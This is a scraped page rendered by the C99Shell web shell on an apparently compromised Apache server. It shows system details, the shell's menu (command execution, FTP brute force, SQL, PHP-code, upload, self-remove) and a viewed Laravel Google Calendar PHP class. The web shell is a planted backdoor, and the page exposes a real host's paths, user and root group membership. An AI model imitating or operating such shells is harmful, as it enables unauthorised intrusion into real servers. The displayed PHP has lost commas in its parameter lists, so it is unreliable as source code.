!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/spatie/laravel-google-calendar/src/   drwxr-xr-x
Free 29.03 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GoogleCalendar.php (3.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\GoogleCalendar;

use 
Carbon\Carbon;
use 
Carbon\CarbonInterface;
use 
DateTime;
use 
Google_Service_Calendar;
use 
Google_Service_Calendar_Event;
use 
Google_Service_Calendar_Events;

class 
GoogleCalendar
{
    
/** @var \Google_Service_Calendar */
    
protected $calendarService;

    
/** @var string */
    
protected $calendarId;

    public function 
__construct(Google_Service_Calendar $calendarServicestring $calendarId)
    {
        
$this->calendarService $calendarService;

        
$this->calendarId $calendarId;
    }

    public function 
getCalendarId(): string
    
{
        return 
$this->calendarId;
    }

    
/*
     * @link https://developers.google.com/google-apps/calendar/v3/reference/events/list
     */
    
public function listEvents(CarbonInterface $startDateTime nullCarbonInterface $endDateTime null, array $queryParameters = []): Google_Service_Calendar_Events
    
{
        
$parameters = [
            
'singleEvents' => true,
            
'orderBy' => 'startTime',
        ];

        if (
is_null($startDateTime)) {
            
$startDateTime Carbon::now()->startOfDay();
        }

        
$parameters['timeMin'] = $startDateTime->format(DateTime::RFC3339);

        if (
is_null($endDateTime)) {
            
$endDateTime Carbon::now()->addYear()->endOfDay();
        }
        
$parameters['timeMax'] = $endDateTime->format(DateTime::RFC3339);

        
$parameters array_merge($parameters$queryParameters);

        return 
$this
            
->calendarService
            
->events
            
->listEvents($this->calendarId$parameters);
    }

    public function 
getEvent(string $eventId): Google_Service_Calendar_Event
    
{
        return 
$this->calendarService->events->get($this->calendarId$eventId);
    }

    
/*
     * @link https://developers.google.com/google-apps/calendar/v3/reference/events/insert
     */
    
public function insertEvent($event$optParams = []): Google_Service_Calendar_Event
    
{
        if (
$event instanceof Event) {
            
$event $event->googleEvent;
        }

        return 
$this->calendarService->events->insert($this->calendarId$event$optParams);
    }

    
/*
    * @link https://developers.google.com/calendar/v3/reference/events/quickAdd
    */
    
public function insertEventFromText(string $event): Google_Service_Calendar_Event
    
{
        return 
$this->calendarService->events->quickAdd($this->calendarId$event);
    }

    public function 
updateEvent($event$optParams = []): Google_Service_Calendar_Event
    
{
        if (
$event instanceof Event) {
            
$event $event->googleEvent;
        }

        return 
$this->calendarService->events->update($this->calendarId$event->id$event$optParams);
    }

    public function 
deleteEvent($eventId$optParams = [])
    {
        if (
$eventId instanceof Event) {
            
$eventId $eventId->id;
        }

        
$this->calendarService->events->delete($this->calendarId$eventId$optParams);
    }

    public function 
getService(): Google_Service_Calendar
    
{
        return 
$this->calendarService;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--